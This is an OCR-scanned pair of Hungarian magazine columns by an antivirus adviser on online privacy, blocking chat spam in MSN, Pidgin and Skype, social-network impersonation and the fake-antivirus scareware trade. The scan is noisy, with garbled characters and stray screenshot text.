antivirus.blog.hu

A blog.webpozitiv.hu/bejelentett-tamado-webhely-mit-tegyek/ egy miné-
ségi, jol 6sszeszedett weboldal, amely szépen pontokba szedve mindent
elmond az iframe-tamadasi esetekrdl. Aki aldozatul esik, annak érdemes itt
kezdenie alapos olvasassal a felkésziilést a helyreallitasi procedurara
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Figyelmerietések Engedélyezett ismertisik: Letiltatt ismeristk:

| << Engedélpezés | Mindenki mas
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Sorozatunk huszonhetedik epizodjaban tobbek kozt azon fogunk elmélkedni, hogy milyen
nyomokat, adatokat hagyunk magunk utan az interneten, mit lehet rélunk kideriteni. Vajon o s ooy, | SeS———
hibaztunk-e valamit, ha tul sok tudhaté meg rélunk? Es amit mi latunk masrél, az vajon igaz-e?
Ez mar csak azért is érdekes kérdés, mert egy ilyen bdvarkodas nem csupan jo szandékkal
torténhet. Megvizsgaljuk azt is, hogy vajon az elkerilhetetlen-e, hogy szérakozott ididtak,

ismeretlen spamkiildo emberkék kéretlen, gyanus és néha fert6zott oldalra mutato linkeket

foxhallughwEhotmail

Biztonsag

Kepesolat lsmextisik fistéi
Tekintse meg, kik vették fel Hnt ismertiseik listéjdral [ Megiekinés... |

| Letitin n kovetkerot:
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obbicuwikit§ hotmail.com Segitsen a'windows Live tokeéletesitésében
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s [] Segitsen aWindows Liveprogramok tokéletesitéssben azaltal, hogy
engedélyezi aMiciosalt szamara a rendszerére es seoltvereink hasznalatéra
wonalkozs adatok gyiitésst, & Microsoft nem fogia felhaszndini ezeket a2
adatokat a2 On azonositésaia

Al +Segass | Mgk

kiildozgessenek nekiink kedvenc csevegoprogramjainkban.

ikksorozatunkban mar sok-

szor és sokat beszéltiink ar-

rél, hogy a kézosségi ol-
dalakon érdemes okosan és mér-
téktartéan adatokat szolgaltatni
magunkrol. Errél legutobb a 24.
részben is sz6 esett, az egyik elret-
tent példa pedig pont az MI6 brit
titkosszolgdlat fénokének felesége
volt, aki évatlanul még a lakcimiiket
is kozzétette a Facebookon. Vagyis
kiindulhatunk abbdl, hogy ha 6va-
tosak akarunk lenni, akkor a frissi-
tett windowsos géptinkén semmi-
lyen alapvet6 hibat nem ejtiink: a
biztonsagi frissitések automatikusan
érkeznek és teleptilnek, st virusir-
tonk és kémprogramirtonk is nap-
rakész allapotban van, valamint fel-
hasznal6i szokasainkban is igyek-
szlink megfontoltak lenni. Akkor hét
meg is Uszunk mindent?

Nem biztos, egyrészt mdr rogton
benne van a pakliban az is, hogy
nem létezik szdzszazalékos védelmi
program. Egy vadonattj krtevé pe-
dig még a legjobb virusirt6 hasznala-

ta mellett is ,bekaphat6”. De emel-
lett az internetes programjaink beal-
litdsaival is sokat lendithetiink vagy
ronthatunk biztonsagunk kerekén.

Nincsenek titkaink!

Az €el6z6, 26-0s epizédban mér ad-
tunk par tanacsot a bongészéshez, és
megemlitetttink par hasznos plugint
is. Ha példaul arra koncentralunk,
hogyan hasznaljunk banki szoftvere-
ket, akkor kialakithatunk egy bizton-
sagos ligymenetet: a bank webolda-
ldnak cimét mindig magunk gépeljtik
be, sose hasznaljunk ehhez e-mail-
ben érkezett linket. Indulés elétt az
esetleges kordbbi bongészés utdn vé-
gezziink cache-ritést, toroljtik a ko-
rabbi munkamenetekhez tartoz6
session cookie-kat és az dtmeneti al-
lomanyokat. De vajon elég-e mind-
ez? Nos, ennek eldéntésére végez-
zlink el egy kisérletet.

A What the Internet Knows Abo-
ut You weboldal (whattheinternetk-
nowsaboutyou.com) érdekes dol-
gokat mutat meg nekdink. Elemzi a

Popular websites you've recently visited (

Mint egy citromot, Ggy facsarja ki a What The Internet Knows About You

weboldal a bongészénkben meghiivé adatokat. Erdemes megfigyelni, hogy
a detektalas annak ellenére igen sikeres, hogy a NoScript és tovabbi biz-
tonsagi pluginok aktivak. Inkabb buli ez, mint igazi forensic eszkéz, de tud
érdekes meglepetésekkel szolgalni, annyi bizonyos
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Ha bankolni szeretnénk, jo 6tlet el6tte az 6sszes tovabbi bongészéablak
bezarasa, a cache lritése, valamint a BetterPrivacy (addons.mozilla.org/hu/
firefox/addon/6623) plugin segitségével még a Flash cookie-k torlése is. Sok
webhely pontosan ez utobbi segitségével allitja el6 a hagyomanyos el6z-
mények és egyéb személyes adatok térlése utan a felhasznaléi szokasainkat

leiré adatbazist

bongészénkben megbiivé adatokat
(History, CSS, DOM) informécio-
kat, el6zményeket, és elég alapo-
san feltérképezi, merre jértunk. Er-
demes megfigyelni, hogy a detekta-
l&s annak ellenére igen sikeres, hogy
a NoScript és tovabbi biztonségi plu-
ginok aktivak. A bongészési el6z-
mények tartalmazhatjak a kozossé-
gi oldalakon levé (Twitter, Facebook,
MySpace stb.) ismerdseinket, a rend-
szeresen latogatott banki oldalakat, a
hasznalt kereséket (Google, Yahoo,
Bing, AllTheWeb stb.), valamint a fel-
ndtt tartalmak és kormanyzati olda-
lak, illetve a Wikileaksen tett lato-
gatasaink nyomat is. Ha mar eléggé
kiborzongtuk magunkat, elolvashat-
juk a How it works (hogyan muiko-
dik), a Tech details (technikai részle-
tek), valamint a Solutions (tippek a
felhaszndlok szaméra) mentipontot
is. Ebben megtudhatjuk, hogy a bon-
gész6 el6zményei (History) koril ho-
gyan tehettink ellenlépéseket. Tele-
pithetjiik példaul a Link Status (ad-
dons.moxzilla.org/en-USffirefox/

addon/12312), illetve a SafeHisto-
ry (www.safehistory.com) plugino-
kat Firefox alatt (utébbi sajnos csak
a 2-es Firefox széria alatt makodik).
Ha a What The Internet Knows Abo-
ut You lekérdezését tigy inditjuk el
Firefox aldl, hogy ezek és a kedvenc
NoScript (addons.mozilla.org/ad-
don/722) kiegészitonk is fent van-
nak, elétte pedig tordljiik a hagyo-
manyos és Flashstitiket, az dtmeneti
tarol6 (cache) tartalmét, az el6zmé-
nyeket és a munkameneteket, gy
alig vagy semmit sem fog taldlni a
weboldal.

Ezzel vissza is érkeztiink a banko-
|as témakoréhez, amit szeretnénk a
legnagyobb biztonsagban tudni. Lat-
hattuk, hogy ha bizonyos lépése-
ket megtesziink a kémkedd interne-
tes ,csodaweblap” ellen, akkor ezek
hasznalnak, és ugyanigy érdemes a
pénzligyi tranzakciok kornyezetét is
biztonsagosabba tenni. Persze mint
mindent, ezt is tovabb lehet fejlesz-
teni; példaul linuxos Live CD-s rend-
szerinditast Firefox hasznalattal, vagy

Egymas utan pattannak fel az MSN-ablakok, benne ismeretlen partnerek
invitalnak gyanus oldalakra. Ha nem akarjuk, nem sziikséges minden
sudribunkoval polemizalni, a leghelyesebb, ha mar be sem engedjiink ket a

privat szférankba

egy kiilon virtualis gépben (Sun Vir-
tualBox, VMware Player, Microsoft
Virtual PO) torténd Linux-inditdshoz
is felkésztilhettink. Ez utdbbi elénye
az lehet, hogy ott mar kedvenc be-
épilGinket is fel tudjuk telepiteni, és
ezt a j6l testre szabott konfiguraciét
csak erre a célra hasznalhatjuk. Azért
persze ilyenkor se felejtstik el, hogy
ellendrizziik a banki weboldal tand-
sitvanyanak érvényességét, a ShowlIP
(addons.mozilla.org/en-US/firefox/
addon/590) plugin pedig megstig-
ja, hogy a szokdsos IP-cimen latogat-
juk-e éppen kedvenc bankunkat. Ha
nem a favicon helyén szerepl lakat

ikont nézziik be tévesen, tgy eréfe-
szitéseink nem lesznek hidbaval6ak,
és pénziink, jelszavunk hosszd ideig
csak a miénk maradhat.

Harmadik és , legolcsébb” mddszer
Windowson a Firefox Portable (por-
tableapps.com) alatti, csak banko-
lasra Gsszerakott bongészokornyezet
haszndlata, ezt akdr egy pendrive-on
magunkkal is hurcolhatjuk.

Balekok, rajongok, csalok,
megtévesztok

Amikor egy ismerdsiinket keres-
stik, vagy egy érdekes ember mik-
roblogjara szeretnénk kovetéként

[~ Bovitmenyek =] o] x
Engedélyezve  Nev ~
Pidgin temaszerkeszto 2.6.1
Pidgin temaszerkeszto.
Plonkers 2.2.0
Tell plonkers what you really think
2 Privacy Please 0.5.1
Stops IM-spam
Schedule 2.2.0
Schedule reminders at specified times
Separate And Tab 22.0
Adds two placement functions for separa...
Show{ () PTVECY PIEEEE =i
Show {
siM-f | Unknown people
Fix mg ¥ Block messages from people not on your contact list
& SsL 1
Displal Autherization
¢ Szell Suppress repeated authorization requests
Szelled (requires privacy settings to block individual users)
Szove Block all authorization requests
A felh
o Thren Automatically show user info on authorization requests
A tars: " i
[> Bévitmény részlet FARREI BpEEt
Block jabber headline messages
Boyitmé| {eg. MSN alerts, announcements etc.)
Bezaras

Ugyanez egy Linux alatt futo Pidgin esetében. Ez ugyanugy képes kezelni az
MSN Live profilt, de a kéretlen partnereket ezuttal a Privacy Please ne-

vii pluginnal tudjuk 6rék hallgatasra birni. A nyilt forraskoda Pidgin
(www.pidgin.im) Linuxon, Windowson és Mac OS X-en is hasznalhato

| Tovabbi informacis |

ok | [ Mége | T

A Windows Live Messengerben meg kell keresni az Adatvédelem menii-
pontot, és maris elhelyezhetjiik a pipat a Csak az engedélyezett ismerés6k
listan szerepl6é személyek kuldhessenek nekem lizeneteket pont mellett.
Viszlat, kéretlen spam Gzenetek, ha nem irunk, ne valaszoljatok!

feliratkozni, nem art alaposan
megnézni, valéjaban kinek az
adatlapjat is nézziik éppen.

Nem ritka ugyanis, hogy egy-egy
nagy név mogott nem az van, aki-
nek a neve oda van irva. S6t, a
gyakori nevekbdl, vagy a hires em-
berekbdl tébb tucatnyit is talal-
hatunk, példaul az Ubuntu diszt-
ribtici6 készitjének nevével is
visszaélnek tomegesen a Twitter-
felhasznalok. Persze lehettink any-
nyira megenged6k, hogy némely
Mark Shuttleworth esetében j6té-
konyan esetleges névazonossagot
is feltételezhetiink. Ennél is tovabb
mennek egyesek, ha példaul Bill
Gatest keressiik, nyomban temér-
dek ilyen nevii szerepl6 tnik el6,

R -
6 ¢ Q. =
v . vom | A e i s x s B

o i s i em.

kézuluk j6 néhanyan pedig rdada-
sul hamis fotéval adjék ki magukat
masnak, mint akik valéjaban.

A Facebook esetében a hires
emberek koré néha rajongoi kort
szerveznek, igy itt sokszor kony-
nyebb felismerni a sok szerepl6
kozott, hogy valdjaban ki is az iga-
zi. Ezt tovabbgondolva kimondot-
tan kellemetlen forgatékényv le-
het azonban, ha valaki a neviink-
kel visszaélve — esetleg a kbzosségi
oldalunkrél kinézett személyes
adatainkat felhasznélva — lejarat6
blogot indit valaki vagy valami el-
len a neviinkben. Eppen idén au-
gusztusban indult el egy per egy
blogger ellen, aki Liskula Cohen
topmodellrdl irt dllitdlag kedvezét-

T

llyet is lehet latni, de ez a legritkabb eset. Ha el6z6leg minden el6zmény,
cache, hagyomanyos és Flash cookie, illetve egyéb személyes adat torlésre
kerult, akkor van csak esélyiink ilyen Gizenetet latni a What The Internet

Knows About You oldalan
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Az MSN Live esetében alkalmazott partnerek tilta-
sa természetesen Skype alatt is létezik. Az, hogy

() Eaap ehat binzmry fae

ismeretleneknek nem engedjiik a telefonhivast,

manapsag evidencia. A gyanakvdbbak beallithat-
jak ugyanezt a chatablakra is, kérjen engedélyt a
masik, majd akkor diskuralunk vele. Vegyik észre,
hogy a statuszunk mutatasat, partnereink szama-
nak megtekintési lehetéségét és az automatikus
hivasfogadast is érdemes letiltanunk

lentil, és emiatt milliés perrel fe-
nyegetik.

Ki kiildozgeti ezt nekem?
Nem, ez(ttal nem a klasszikus
spam levelekrdl lesz ismét sz6.
Ezek ugyan nem tiintek el sajnos,
de jott mellé Gj modi: a kozossé-
gi oldalakon kiildozgetett vélto-
zat. A szerencsésebbek ezt még
hirbél sem ismerik, a kevésbé sze-
rencsések hetente kapnak egy-egy
ilyet, a kifejezetten pechesek pe-
dig akdr naponta tébbet is. Nos,
nekiink sikeriilt bekertlni ez utéb-
bi csoportba. Hogy ez pontosan

mark shuttiewarth

mark shuttiewor

MEhuttieworthl Mark Shuttiewes

7 followers

H marcshutt Mark Shuttiewort

facebook  wessimp adstip  Temestess  Ba

A Facebook esetében a hires emberek koré néha rajongoi kort
szerveznek, igy itt sokszor kénnyebb felismerni a sok szereplé

kozott, hogy valdjaban ki is az ,,Igazi Trebitsch”

hogy tortént — magyaran a spam-
kildozgeté emberekhez hogyan
kertilt oda a cimiink —, csak talal-
gathatjuk. Az egyik legval6szintibb
forgatékonyv az, hogy valamelyik
partnertink gépe (egyszer) megfer-
t6z6dott, és ekkor kerlt a cimlis-
tdja illetéktelen kezekbe. Az ilyen
lopott cimgyjteményeket aztan
az e-mail cimek listdjahoz hason-
|6an 6sszeszedik, adjék-veszik, és
toljak rajta a kéretlen rekldmo-
kat, ahogy a cs6von kifér. Vagyis
526 sincs random telefonszam-tar-
csazashoz hasonléan véletlentil ki-
talalt felhasznalénévre irt tizenet-

Bickn't Find who you
ware looking for?

Find poople on other
netwarks -

Koénnyii lépre menni, mert az internet sincs tele Gral-lovagokkal. Itt az
Ubuntu disztribucio készitéjének nevével élnek vissza tomegesen a Twitter-

csatornak
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kiildésrél, hanem csak ,megteke-
rik a kurblit” és az Gsszegydjtott fix
cimlista tagjai naponta foghatjak a
fejiiket. Nos, mi szeretnénk elhes-
segetni az ilyen kéretlen linkajan-
[6kat. Tegyiink hat ellentik vala-
mit! Az egyik nyilvanval6 médszer
az, ha nem haszndlunk ilyen cse-
vegbalkalmazasokat. De mi lehet-
ne a masik?

Elharitas MSN-en

és Skype-on

Aki mar régéta haszndl szamito-
gépet, az tudhatja, az alapértel-
mezett (default) beallitasok rit-
kan egyeznek meg az optimalis
és hatékony bedllitasokkal. Aho-
gyan példaul - jogi okok miatt —
a NOD32 és ESS programokban a
felhasznaloknak kell kézzel beje-
[6Initik, hogy a kéretlen alkalma-
zasokat és a veszélyes szoftvereket
is sz(irni akarja-e, ugyanigy érde-
mes a csevegSprogramok konfigu-
rélsara is szanni egy kis idét.

A Windows Live Messengerben
meg kell keresni az Adatvédelem
mendpontot, és mris elhelyez-
hetjiik a pipat a Csak az engedé-
lyezett ismerdsok listdn szerep-

16 személyek kiildhessenek ne-
kem tizeneteket mellett. Ugyanez
a szabad forrdst Pidgin esetében
is természetesen kdnnyen megva-
[6sithaté. A Pidgin (www.pidgin.
im, kordbban Gaim) képes kezel-
ni tobbféle, koztiik az MSN Live
profilt is, de a kéretlen partnere-
ket itt egy kiilsé modullal, a Pri-
vacy Please (code.google.com/p/
pidgin-privacy-please/) nev( plu-
ginnal birhatjuk 6rok hallgatés-

ra. A Pidgin tovabbi érdekessé-
ge, hogy Linuxon, Windowson és
Mac OS X-en is egyarant elérhetd.
Az MSN Live esetében alkalma-
zott partnerek tiltdsa természete-
sen Skype alatt is létezik. Az, hogy
ismeretleneknek nem enged-
juk a telefonhivést, az manapséag
mar szinte evidencia. A gyanak-
vobbak pedig bedllithatjak ugyan-
ezt a chatablakra is: kérjen enge-
délyt a partnertink, csak akkor dis-
kurdlunk vele. Vegytik észre, hogy
a pillanatnyi statuszunk idegenek-
nek valé megmutatasét, partnere-
ink szamanak megtekintési lehetd-
ségét és az automatikus hivasfoga-
dast sem engedheti meg magdnak
egy kelléen paranoid felhasznal.

*k*%

Kérjuk kedves olvaséinkat, ha
a témaban kérdésiik, hozzaszé-
lasuk van, juttassak el hozzank
(velemeny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu
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Ennél is tovabb mennek egyesek: ha
példaul Bill Gatest keressiik, temér-
dek ilyen nevii szereplé tiinik eld,
koézuliik jo néhanyan pedig raadasul
hamis fotoval adjak ki magukat a
Microsoft alapitéjanak



A Virusok Varazslatos Vilaga %~

Ipari forradalom

Sorozatunk huszonnyolcadik epizédjaban ismét miisorra tlizziik a hamis antivirusok problemati-
kajat. Eppen egy éve irtunk errél hosszabban, az egész cikket a témanak szanva. Hogy mi a
csalas lényege, arrdl sok mindent elmondtunk mar korabban, de az, hogy hogyan valt mindez a
hétkoznapok részévé, hogyan vetnek be a késziték tomegesen és egyre kifinomultabban minden
technikai, illetve megtévesztésen alapuld trilkkot - ez mar szinte felér egy ipari forradalommal.

orozatunk 18. epizédjat ott

fejeztiik be, hogy az orosz

Bakasoftware egyik tag-
ja nyilatkozott a hamis virusirtéval
kapcsolatos tevékenységiik részle-
teirdl. Az illeté nem volt f6nok a
bandéban, de részt vett a fejlesz-
tési munkdban, és a hamis fertG-
zésekkel riogat6 program egyik
készitGjeként 158 ezer dolldros
(mintegy 30 millié forintos) kere-
setet tehetett zsebre hetente. Ez-
zel mar tudjuk is a miérteket: ez
egy mocskos, de jol jovedelme-
z6 tzlet. Ha akkor tgy gondoltuk,
hogy csak néhany ilyen ember, il-
letve banda van, akikt6l még nyu-
godtan alhatunk, hét nagyon na-
gyot tévedtiink.

Pénzért barmit

Az USA-ban t6bb milli6 szamité-
gép lett fert6zott ezzel a médszer-
rel, dllapitotta meg tobbek kozt a
Symantec kiberb(indzésrél sz6l6
jelentése. Tobb szazféle ilyen
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program létezik, és szamuk nap-
rol napra emelkedik, s6t a csal6
honlapot generalé webkészlet mar
arucikké valt.

A Networkworld szamolt be rdla,
hogy egy pay-per-install nevi web-
oldalon nyilt szinen folyik a karte-
vokkel torténd tizletkotés. A virtu-
alis piactér célja, hogy osszehozza
a potencidlis meghizokat a botne-
tek alkotéival. Nem lepddtiink meg
persze korabban sem azon, hogy a
BBC hogyan és honnan jutott olyan
kénnyen botnet-vezérlésre alkalmas
programhoz, hogyan béreltek ki egy
ilyet — valészin(ileg egyaltaldn nem
volt nehéz dolguk. De mig az 6 ak-
ciéjuk inkdbb a figyelemfelkeltést
szolgalta, az atlagos kuncsaftok je-
lentds része persze nem ezért megy
oda. Az arak a beszamold szerint
orszagonként valtoznak, egy 1000
tagli botnet 110 USD-t késtal az
Egyesilt Kirdlysagban, 60 USD, ha
mindez Olaszorszagban van, a fran-
ciaorszagi ezer gépért mar csak 30

rmuich maem rescesces, than sarier
For mxample, cely in J007 &t lnast
USD 230 millon were invested in
antispy suftware development. To

'| compan, in 2000 the USA spert 13
milion

WIEW

assocabon of companies developng
wilispy software, detoed slandard
ways of fighting spy, sdvertisng and
thir haemil progracrs. Seetie
stamgts 15 clastify harmid program
it ware madh
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Anti-Spywaes Coalflion, an
hamnlul programs

VIEW

A soha nem létezett és soha fejbe nem 16tt moszkvai spammer allitélagos
halalardl hirt adé ,,blog” juthat errdl az esziinkbe. Igaz, itt nem a par napja
foglalt domain mutat tobb honapos ,,archivumot”, hanem siman elére
datumozva jelentetnek meg fiktiv cikket. Lehet, hogy kozben azt gondoljak,
aki még ezt is benézi, az meg is érdemli. Vegyiik észre, hogy a blin6z6knek
irni csak captcha-biztositassal lehet, 6k maguk nem szeretnek botok altal

tamadva lenni

Advanced Cleaner MacSweeper SpySpotter
AlfaCleaner MalCrush 3.7 Spyware Cleaner
AntiSpyCheck 2.1 Malware Bell 3.2 Spyware Quake
AntiSpyStorm MalwareAlarm Spyware Stormer
AntiSpyware Shield MalwareCore SpywareGuard 2008
AntiSpywareExpert MS Antivirus SpywareStrike
AntiSpywareMaster PAL Spyware Remover SpyWiper
AntiSpywareSuite PC Antispy System anti virus 2008
Antivermins PC Clean Pro System Live Protect
Antivirgear PC SpeedScan Pro SystemDoctor
Antivirus 2008 PC-Antispyware TheSpyBot

Antivirus 2009 PCPrivacytool Total Secure 20809
AntiVirus Gold PCSecureSystem TrustedAntivirus
Antivirus Master Perfect Cleaner Ultimate Antivirus
Antivirus pro 2609 PersonalAntiSpy Free UltimateCleaner
Antivirus XP 2008 PestTrap Virus Isolator
Avatod Antispyware 8.0 PSGuard Virus Respone Lab 2809
Awola Rapid AntiVirus Virus Trigger
BestsellerAntivirus Registry Great VirusBurst

Brave Sentry Saliar VirusHeat

Cleanator SecurePCCleaner VirusProtectPro
ContraVirus Security toolbar 7.1 VirusRanger

Disk Knight smart Antivirus 2008 VirusRemover2008

Doctor Antivirus

smart Antivirus 2009

vista Antivirus 2ees

DriveCleaner Spy Away WinAntiVirus Pro 2006
EasySpywareCleaner SpyAxe wWinDefender

Errorsafe SpyCrush winFixer
free-viruscan.com Spydawn winSpywareProtect

IE Antivirus SpyGuarder WorldAntispy
IEDefender SpyHeal XP AntiSpyware 2009
InfeStop Spylocked XP Antivirus

Internet Antivirus Spy-Rid Zinaps AntiSpyware 2808
KVMSecure spysheriff

Par név a tobbezer variaciobol. Van egy névgenerator, bedobjak a hozzava-
lokat, és alul kijonnek a variaciok: Soft Soldier, Trust Soldier, Trust Warrior,
Soft Warrior, lehetdleg a j6vé évi datum, de hasonlithat meglévé valos

antivirus megoldas elnevezésére is

Sspyware 7 Learn how to ask us for help, clic

How to remove PC Scout (Uninstall instructions)

PC Scout ks a new rogue antispyware program from same Tamily as A
Security and Protection System. It is distributed through the use of trojens.
Like other fake antispyware software, PC Scout uses Lalse and &

sean results, fake security alerts, nag screens in order to scare

paid version of the software. It is important to know that PC Scout is fake

(scareware) and does not offer any protection to computer?

Search

xagoerated
you to buy the

When PC Scout is installed and run, it will configure itself to run
wvery Hme, whon you start your camgutier, altor ¢
your computer, PC Scout will list & variety of throats
unless you first purchase the program. all of thes:
exaggerated, so you can safely ignore them

t it will perform a scan of
that will not be fixed
hreats are fake or

Egy bolcs tanacs: ,Ne telepits olyan szoftvert a gépedre, amelynek nevére a
Google-ben rakeresve csupa »nHow to Remove?« kezdetii talalatot kapsz!"”
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Viccesen szoktak mondani, hogy a tévéreklamokban a frissen mosott ruhak

News

azért latszanak Gjnak, mert valoban Gjak. Nos, ennek analégiajara a hamis
antivirusok azért latszanak hasonlonak, vagy éppen egyformanak, mert
pénzért arult generalo kitekkel késziilnek egy kaptafara. A vasarlonak nem

szliikséges szamitastechnikai programozénak lennie, elég, ha a befolyt pénz

tisztara mosasahoz ért jol

USD-t kell leszurkolni, és ugyanez
Azsiaban mindéssze 6 amerikai dol-
larba faj. Biztonsagi cégek szerint az
ilyen kdrtékony kédok készitGi Ke-
let-Eurépdban, illetve a volt Szovjet-
unio teriiletérsl prébalnak meg ily
maddon jovedelemhez jutni.

Az egyik legkelendébb arucikk
jelenleg is a hamis antivirus prog-
ram, ez most éppen 70 USD. Eric
Chien (Symantec) szerint kevés az
esély az ilyen ellendrizetlen piacok
bezérésara, mert mindig megfele-
6 érinthetetlen tarhelyszolgéltat6t
talalnak maguknak, illetve sziikség

”

esetén slrdn koltozkodnek is.

Bongészés kozben jon az
»aldas”

Vicces latni, amikor egy fehér kope-
nyes hamis antivirus program az al-
ternativ operdcios rendszereken fer-
t6z6tt DLL-eket fedez fel, és hogy
Win32-es virusokat is lel OS X, illet-
ve Linux alatt. Ennek persze az az
oka, hogy itt sz6 sincs valédi kere-
sésrél, hanem csak egy animécié fut
le a szemiink elétt, allanddan azo-
nos eredménnyel, ha elinditjuk a
fert6zott weboldalt Ubuntu Linux
vagy Snow Leopard alatt. A java-
scriptes ablakok meg egyre csak
jonnek. Riasztd, hogy milyen agresz-
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szivan nyilnak ezek a popup abla-

kok, nagy szdmban, sir(in és rend-
kivil idegesitéen, a hétkéznapi fel-
haszndlokat hidegrézdsra ijesztéen.

Csilivili ,,antivirus”
weblapok

Sz6ke né, barna ng, fekete ng, és
mindegyik rank mosolyog. A Kft.

W) nur now

WINDOWS -

Lot

Make your computer fast and secured

WINDOWS

tw Enterprise Defender
efficient internet antivirus suite

Széke né, barna né, fekete nd, és mindegyik rank mosolyog. Ahogy a hasz-
naltauté-vasarlasnal mondani szoktak, nemcsak az autot kell megnézni,
hanem azt is, kitdl vessziik. Nos a teszt- és egyéb gy6zelmeket sugallé
plecsnikkel is ez a helyzet. Ha a domaint el6z6 héten jegyezték be Kinaban,
akkor szerintlink a plecsnijét a kalapja mellé tiizheti

zenekar albumanak cimét (,,Siker,
pénz, ndk, csillogas”) kdlcsonoz-
ve a sort még kiegészithetjitk még
a j6l ismert szimb6lumokkal és
plecsnikkel is. Ahogy a haszndlt-

auté-vasarlasnal mondani szoktdk:

nemcsak az autot kell megnézni,
hanem azt is, kit6l vessziik. Nos,
a teszt- és egyéb gyézelmeket su-
gallé plecsnikkel is ez a helyzet,
kilonosen, ha a domaint el6z8
héten jegyezték be Kinaban. Az
,emberes” kép, rekldm, weboldal
pszicholdgiai hatdsa is megerdsi-
t6, pozitiv. Van egy névgenerator,
bedobjak a hozzavaldkat, és alul
kijonnek a variaciok:
Soft Soldier, Trust Sol-
dier, Trust Warrior, Soft

User choice numberone!

Hel
protect

your

[ e
ey e —

Ha egy adott alkalmazas weboldala hajszalra
olyan, mint a masiké, ennek is komoly kétsége-
ket kellene ébresztenie a latogatokban. Persze

a lépre mené 5 szazalék sajnos nem profi, ha-

nem atlagos felhasznalo, aki nem néz se jobbra,
se balra, hanem szépen bejarja a jol megterve-
zett és neki felallitott ,,megijed, megériil, fizet”

utvonalat

Warrior sth. Lehet6leg szerepeljen
a névben a jové évi datum is, de
hasonlithat meglévé valés antivi-
rus szoftver elnevezésére is, igy le-
het példaul ,Windows Enterprise
Defender” (I. BitDefender) vagy
éppenséggel Smart Antivirus 2009
(az ESET Smart Security utan).

A vicces az egészben, hogy a
tobbtucatnyi programnévhez tar-
tozé domainregisztracidkat is fo-
lyamatosan, szépen, szervezetten
oldjak meg. Az APWG (Anti-Phis-
hing Working Group) 2009-es je-
lentése szerint csak az elsg félév-
ben 485 ezer olyan mintat gydj-
tottek, amelyeket hamis biztonsagi
programként soroltak be. A dolog
a szimpla bosszanté kategériabdl

Az ipari méretii csalas nem ismer orszaghatarokat, és nyelvi
korlatokat sem. Angol, francia, német, olasz és orosz nyelvii hon-
lapot is elkészitettek a csalo készletben, igy csak egy kattintas
kell hozza
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__] ESET Smart Security - figyelmeztetés

ESET Smarnt Security ligyeime riotos

Részletek:

Weholdal:
hittp: Awnnewe. softsoldier. com/

Leiras:

Az ESET Smart Security letiltotta a weboldalhoz vald hozzaférést.

_] http:f e softsoldier .com/

Hozeraférés meg val

e-mail cimét és nevét - Vaszilij pedig majd orul ennek, hiszen 6 gydijti a ci-
meket -, a megrendelé aztan varhatja, hogy az igért 24/7 terméktamogatas
megérkezzen. Kicsit olyan ,Kiralyfi, és te még hiszel a mesékben?"-érzésiink
van. A megbizhato, valodi virusvédelmi cégek az adott orszagbeli elérheté
telephellyel, postacimmel, nyilvanos e-mail cimmel és telefon-, faxszammal
nyujtjak a legalis technikai tamogatast

vészesen novekvé 1éptékivé vélt,
és ezt a helyzetet kezelni kell.

How to remove?

Osi dakota kézmondés szerint ,Ne
telepits olyan szoftvert a gépedre,
amelynek nevére a Google-ben ré-
keresve csupa »How to Remove?«
(Hogy lehet eltavolitani?) kezdet ta-
lalatot kapsz!” Van néhany olyan
honlap, ahol viszont kimerfté részle-

gel vezetik az Gsszes Gj hamis antivi-
rus program letakaritdsi Gtmutatoit.
llyen példaul a remove-malware.net,
vagy a www.myantispyware.com.
A mentesités nehézségét fokozza,
hogy nem ritka a rejtett rootkit-kom-
ponens sem. Sajnos a hamis antivi-
rus programok készitGi is alaposan
dolgoznak. Ha megnéziink egy ilyen
How to Remove leirést, szamtalan
,ragaszkodd” Registry bejegyzés, le-
tiltott Regedit, blokkolt antivirus

Aweboldal szerepel az artd kddokat tartalmazd weboldalak listajan.

vy B5et. by

A bejelentések nyoman a virusvédelmi programok feketelistara teszik a
kartevéterjeszté domaineket, igy segitve a naprakész virusirtoval béngészé
felhasznalokat. Persze a rosszfiuknak is van erre a valaszuk: egyre rovidiil az
az id6, amig egy adott webcimet hasznalnak, miel6tt masikra kéltoznének

tességgel és dicséretes naprakészség-
A VirusTotal egy olyan szolgaltatas, amellyel
szamos antivirus motor segitségével gyanis

1 V'RUS allomanyokat  elemezhetiink, hasznalata
TOTAL megkdnnyiti a virusok, férgek, tréjai falovak és
mas karlevbk gyors észlelését. Tovabbi

informacié...
A(z) install.exe allomany teltdltve: 2009.10.16 14:02:50 (UTC)

Pillanatnyi allapot: befejezédott
Eredmeény: 22/41 (53.66%)

+8{ Formazott Ereameny nyomtatasa (&8

Utolsé
frissités

Antivirus Verzio Eredmény

Sajnos a hamis antivirus programok készitéi is alaposan dolgoznak. Ha meg-
néziink egy ilyen How to Remove leirast, szamtalan ,ragaszkod6” Registry
bejegyzés, kéretlen allomany, kiilonféle mappakban szétszort kartevémaso-
latok gondoskodnak arrdl, hogy a kivakaras minél nehezebb legyen. Az egy-
re ujabb valtozatok is probara teszik az antivirus motorok intelligenciajat,
sz0 sincs minden valddi antivirus termék altali szazszazalékos észlelésrél, és
mindig akad egy olyan uj varians, ami a korabbi sikeres detektalast kijatszva
ujra munkat ad a viruslaborosoknak

weblap, kéretlen dllomany, kilonféle
mappakban szétszort kartevéméso-
latok gondoskodnak arrél, hogy a ki-
vakards minél nehezebb legyen. Az
egyre Gjabb vdltozatok is prébara te-
szik az antivirus motorok intelligen-
cidjat, sz6 sincs minden valédi an-
tivirus termék altali szazszazalékos
észlelésrél, és mindig akad olyan dj
varians, ami a korabbi sikeres detek-
talast kijdtszva djra munkat ad a vi-
ruslaborosoknak.

Ajel hianyais jel

Ajogi problémék elkertilésére (hogy
ne inditsanak ellentik kartevé-ter-
jesztésért eljdrast) néhany helyen
mar olyan weboldal is felt(int, ame-
lyikr6l nem lehet letélteni semmi-
lyen szoftvert, csak egy tires ciklus fut
le rendre. Nincs letolthetd, analizal-
hat6 kértevd, nem lehet Sket hamis
vagy rossz minGségi biztonsagi prog-
ram terjesztéséért okolni. Viszont igy
is megmaradnak nekik a megtévesz-
tettek személyes adatai (a support-
hoz kildott név, e-mail cim eladha-
t6 a spamadatbazisba), a megjjedt
felhasznalok kortlbeltl 6t szazalé-
ka atutalja nekik az 50-100 ameri-

KAPCSOLODO WEBOLDALAK

kai dolldr kozotti dsszeget — ezt tobb
orszagon kereszttil, verbuvalt 5nkén-
tesekkel (mule) tovabb utaltatjak, és
